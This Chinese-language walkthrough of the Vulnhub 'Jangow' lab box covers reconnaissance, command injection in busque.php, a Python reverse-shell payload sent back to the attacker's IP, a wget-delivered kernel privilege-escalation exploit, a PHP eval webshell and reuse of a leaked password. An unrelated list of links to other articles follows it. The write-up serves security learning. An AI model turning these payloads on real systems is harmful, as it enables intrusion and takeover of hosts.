Vulnhub靶场 Jangow: 1.0.1 练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. 命令执行
    • 2. 反弹shell
    • 3. 提权
    • 4. 补充
      • 4.1 其他思路
      • 4.2 问题
  • 0x04 总结


0x00 准备


下载链接:https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova

介绍:

Difficulty: easy

The secret to this box is enumeration! Inquiries jangow2021@gmail.com

This works better with VirtualBox rather than VMware ## Changelog 2021-11-04 - v1.0.1 2021-11-01 - v1.0.0



0x01 主机信息收集


kali本机的ip:192.168.119.128

探测目标主机IP:netdiscover -i eth0 -r 192.168.119.0/24
目标主机IP:192.168.119.134

探测目标主机开放端口:nmap -sV -p 1-65535 -A 192.168.119.134
在这里插入图片描述


开放了21端口,vsftp3.0.3版本。80端口,apache2.4.18版本。



0x02 站点信息收集


访问80端口,探测站点的目录结构:dirsearch -u 192.168.119.134
在这里插入图片描述


一个site目录,还有/.backup目录。

进入site目录是一个站点的首页:
在这里插入图片描述


再看一下/.backup页面:
在这里插入图片描述


看到了数据库相关的信息,并且是mysql数据库,这里保存一下获取到的信息:

$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";


0x03 漏洞查找与利用


1. 命令执行


看站点上的信息,右上角Menu菜单这里有三个菜单,About,Project,Buscar。

点击About时,URL是:http://192.168.119.134/site/#about
点击Project时,URL是:http://192.168.119.134/site/#projects
点击Buscar时,URL是:http://192.168.119.134/site/busque.php?buscar=

有个等号,并且页面是空白页:
在这里插入图片描述


考虑传参。传了个1,还是空白页。换思路,传了个ifconfig,有查出网络配置的信息:
在这里插入图片描述


又换了个whoami:
在这里插入图片描述


2. 反弹shell


这里有命令执行了,尝试一下反弹shell。

先在kali中监听端口9898:nc -lvvp 9898


再在浏览器中访问:http://192.168.119.134/site/busque.php?buscar=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.128",9898));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

结果一直无法监听。



改成443端口就可以监听成功。

先在kali中监听端口443:nc -lvvp 443

再在浏览器中访问:http://192.168.119.134/site/busque.php?buscar=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.128",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

监听成功:
在这里插入图片描述



3. 提权


查看一下系统的相关信息。

查看内核版本:uname -a

查看发行版本:lsb_release -a
在这里插入图片描述


内核版本是ubuntu 4.4.3-31 ,发行版本是 ubuntu 16.04。

搜索一下相关的漏洞:searchsploit Ubuntu 4.4.0-31
在这里插入图片描述


这里我们要进行提权,所以选择45010.c这个试一下。

这个脚本的完整路径是/usr/share/exploitdb/exploits/linux/local/45010.c

编译这个脚本:gcc /usr/share/exploitdb/exploits/linux/local/45010.c -o abc


接下来就是将abc这个文件传到目标主机上。

在kali机器上用python创建一个简单的http服务器:python2 -m SimpleHTTPServer 443 (由于靶机的限制,这里只能用443端口)

在靶机上,先进入临时目录:cd /tmp

再执行:wget http://192.168.119.128:443/abc
在这里插入图片描述



这时候如果直接运行abc的话,会提示权限不足。所以先给这个文件加一个执行权限:chmod +x abc
在这里插入图片描述



结果提示GLIBC_2.34没有找到,这是因为编译是在kali下面完成的,是这个版本,但是目标主机没有这个版本。所以应该直接把编译前的文件传到目标靶机中,在靶机中编译。

在kali中,把45010.c移动到开http服务的目录下:cp /usr/share/exploitdb/exploits/linux/local/45010.c .

在靶机的tmp目录下执行:wget http://192.168.119.128:443/45010.c

编译这个文件:gcc 45010.c -o exp
在这里插入图片描述



运行exp文件:./exp
在这里插入图片描述


提权成功

4. 补充


4.1 其他思路


做完后,参考了前辈们的文章,在目标主机给buscar参数传值进行命令执行的时候,可以上传一句话:echo '<?php eval($_POST["pass"]);' > shell.php

再用蚁剑连接:http://192.168.119.134/site/shell.php

在这里进行传文件等操作。



另外,还可以在wordpress目录下查看配置文件 config.php的内容,这里面也有一对账号密码。这样就收集到了两对账号密码。在前面端口扫描的时候开放了ftp服务,可以尝试用这两对账号密码进行frp登录尝试:ftp 192.168.119.134

backup文件中的账号密码可以登录成功。



4.2 问题


在反弹shell的时候,只能监听443端口。这里应该是因为目标主机的防火墙或系统策略限制目标主机必须使用特定的出站端口,若目标主机强制出站端口为 443,则攻击者必须监听在 443。



0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放的端口和服务。

站点信息收集:

  1. 扫描站点目录。
  2. 发现账号密码敏感信息。
  3. 发现命令执行的点。

漏洞利用:

  1. 在命令执行处进行反弹shell。
  2. 获取系统的版本信息,进行内核提权。



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/61878.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Fakelocation Server服务器/专业版 Centos7

前言:需要Centos7系统 Fakelocation开源文件系统需求 Centos7 | Fakelocation | 任务一 更新Centos7 &#xff08;安装下载不再赘述&#xff09; sudo yum makecache fastsudo yum update -ysudo yum install -y kernelsudo reboot//如果遇到错误提示为 Another app is curre…

【Ubuntu24.04】服务部署(虚拟机)

目录 0 背景1 安装虚拟机1.1 下载虚拟机软件1.2 安装虚拟机软件1.2 安装虚拟电脑 2 配置虚拟机2.1 配置虚拟机网络及运行初始化脚本2.2 配置服务运行环境2.2.1 安装并配置JDK172.2.2 安装并配置MySQL8.42.2.3 安装并配置Redis 3 部署服务4 总结 0 背景 你的服务部署在了你的计算…

持续集成与持续部署:CI/CD实现教程

以下是一个基于常见工具实现 CI/CD 的基本教程示例&#xff0c;这里以 Git、Jenkins、Maven&#xff08;用于 Java 项目构建和管理依赖&#xff0c;其他语言项目可替换为对应构建工具&#xff09;以及 Docker&#xff08;用于容器化部署&#xff0c;非必需但很常用&#xff09;…

深入解析 EasyExcel 组件原理与应用

✨深入解析 EasyExcel 组件原理与应用✨ 官方&#xff1a;EasyExcel官方文档 - 基于Java的Excel处理工具 | Easy Excel 官网 在日常的 Java 开发工作中&#xff0c;处理 Excel 文件的导入导出是极为常见的需求。 今天&#xff0c;咱们就一起来深入了解一款非常实用的操作 Exce…

JavaScript中的箭头函数以及编写优化

箭头函数 1.1.1 箭头函数的概念 箭头函数时ES 6之后增加一种编写函数的方法&#xff0c;并且它比函数的表达式要更加简洁 箭头函数不会绑定this,arguments属性箭头函数不能作为构造函数来使用&#xff08;不能和new一起来使用&#xff0c;会出现错误&#xff09; //1.之前的方…

Java爬虫:获取商品详情的实践之旅

在当今这个信息爆炸的时代&#xff0c;数据的价值日益凸显。对于电商行业来说&#xff0c;商品详情的获取尤为重要&#xff0c;它不仅关系到产品的销售&#xff0c;还直接影响到用户体验。传统的人工获取方式耗时耗力&#xff0c;而自动化的爬虫技术则提供了一种高效解决方案。…

从零开始学习数据库 day0(基础)

在当今的信息时代&#xff0c;数据已经成为了企业和组织最重要的资产之一。无论是电子商务平台&#xff0c;社交媒体&#xff0c;还是科研机构&#xff0c;几乎每个地方都离不开数据库。今天&#xff0c;我们将一起走进数据库的世界&#xff0c;学习它的基础知识&#xff0c;帮…

C# 数据结构之【树】C#树

以二叉树为例进行演示。二叉树每个节点最多有两个子节点。 1. 新建二叉树节点模型 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks;namespace DataStructure {class TreeNode{public int Data { get;…

单片机_简单AI模型训练与部署__从0到0.9

IDE&#xff1a; CLion MCU&#xff1a; STM32F407VET6 一、导向 以求知为导向&#xff0c;从问题到寻求问题解决的方法&#xff0c;以兴趣驱动学习。 虽从0&#xff0c;但不到1&#xff0c;剩下的那一小步将由你迈出。本篇主要目的是体验完整的一次简单AI模型部署流程&#x…

【Spiffo】环境配置:VScode+Windows开发环境

摘要&#xff1a; 在Linux下直接开发有时候不习惯快捷键和操作逻辑&#xff0c;用Windows的话其插件和工具都更齐全、方便&#xff0c;所以配置一个Windows的开发环境能一定程度提升效率。 思路&#xff1a; 自己本地网络内远程连接自己的虚拟机&#xff08;假定用的是虚拟机…

使用eclipse构建SpringBoot项目

我这里用eclipse2018版本做演示&#xff0c;大家有需要的可以下载Eclipse Downloads | The Eclipse Foundation 1.打开eclipse&#xff0c;选择存放代码的位置 2.选择 file >> new >> project >> 选择springboot文件下的 spring starter project 2.这里选择N…

C++ 日期计算器的实现(运算符重载)

目录 一、前言 二、正文 1.1 Date类框架 1.2 两个日期间的直接赋值 1.3判断两个日期是否相同 1.4判断两个日期是否不同 1.5日期加天数 1.6日期天数 1.7日期的前置和后置 1.8日期减天数 1.9自身日期减天数 2.1自身日期前置--和后置-- 2.2两个日期的差值为差距天数 2…

PICO VR串流调试Unity程序

在平时写Unity的VR程序的时候&#xff0c;需要调试自己写的代码&#xff0c;但是有的时候会发现场景过于复杂&#xff0c;不是HMD一体机能运行的&#xff0c;或者为了能够更方便的调试&#xff0c;不需要每次都将程序部署到眼睛里&#xff0c;这样非常浪费时间&#xff0c;对于…

LLM的原理理解6-10:6、前馈步骤7、使用向量运算进行前馈网络的推理8、注意力层和前馈层有不同的功能9、语言模型的训练方式10、GPT-3的惊人性能

目录 LLM的原理理解6-10: 6、前馈步骤 7、使用向量运算进行前馈网络的推理 8、注意力层和前馈层有不同的功能 注意力:特征提取 前馈层:数据库 9、语言模型的训练方式 10、GPT-3的惊人性能 一个原因是规模 大模型GPT-1。它使用了768维的词向量,共有12层,总共有1.…

如何使用 Python 开发一个简单的文本数据转换为 Excel 工具

目录 一、准备工作 二、理解文本数据格式 三、开发文本数据转换为Excel工具 读取CSV文件 将DataFrame写入Excel文件 处理其他格式的文本数据 读取纯文本文件: 读取TSV文件: 四、完整代码与工具封装 五、使用工具 六、总结 在数据分析和处理的日常工作中,我们经常…

太通透了,Android 流程分析 蓝牙enable流程(应用层/Framework/Service层)

零. 前言 由于Bluedroid的介绍文档有限&#xff0c;以及对Android的一些基本的知识需要了(Android 四大组件/AIDL/Framework/Binder机制/JNI/HIDL等)&#xff0c;加上需要掌握的语言包括Java/C/C等&#xff0c;加上网络上其实没有一个完整的介绍Bluedroid系列的文档&#xff0…

CSS中calc语法不生效

问题起因 在使用calc时发现无法生效&#xff0c;写法是&#xff1a; height:calc(100vh-100px);页面无效果&#xff0c;加空格后就发现有效果了&#xff1a; height:calc(100vh - 100px);这是为什么&#xff1f; calc是什么&#xff1f; css3 的计算属性&#xff0c;用于动态…

JVM标量替换

JVM标量替换 简单来说 JVM 中的标量替换是一种编译优化技术&#xff0c;将未逃逸对象拆解成不能再分&#xff0c;标量在栈帧或寄存器中分配使用。将对象拆解后直接使用标量&#xff0c;不但避免了完整对象的创建和后续回收流程&#xff0c;而且能更快地获取和操作相应的数据&…

李继刚:提示词(Prompt)的本质是表达的艺术

看了李继刚在 AI 创新者大会的演讲《提示词的道与术》&#xff0c;收获很大&#xff0c;我分享一下学习笔记。  李继刚&#xff1a;提示词&#xff08;Prompt&#xff09;的本质是表达的艺术 一、提示词的本质是表达 本意、文意和解意的概念&#xff1a; 本意&#xff1a;指…

复古风格渐变褪色人像旅拍Lr调色教程,手机滤镜PS+Lightroom预设下载!

调色教程 这种调色风格旨在通过调整色彩和光影&#xff0c;为人像旅拍照片赋予复古的氛围和艺术感。渐变褪色效果增添了一种时光沉淀的感觉&#xff0c;使照片仿佛来自过去的岁月。 预设信息 调色风格&#xff1a;复古风格预设适合类型&#xff1a;人像&#xff0c;街拍&…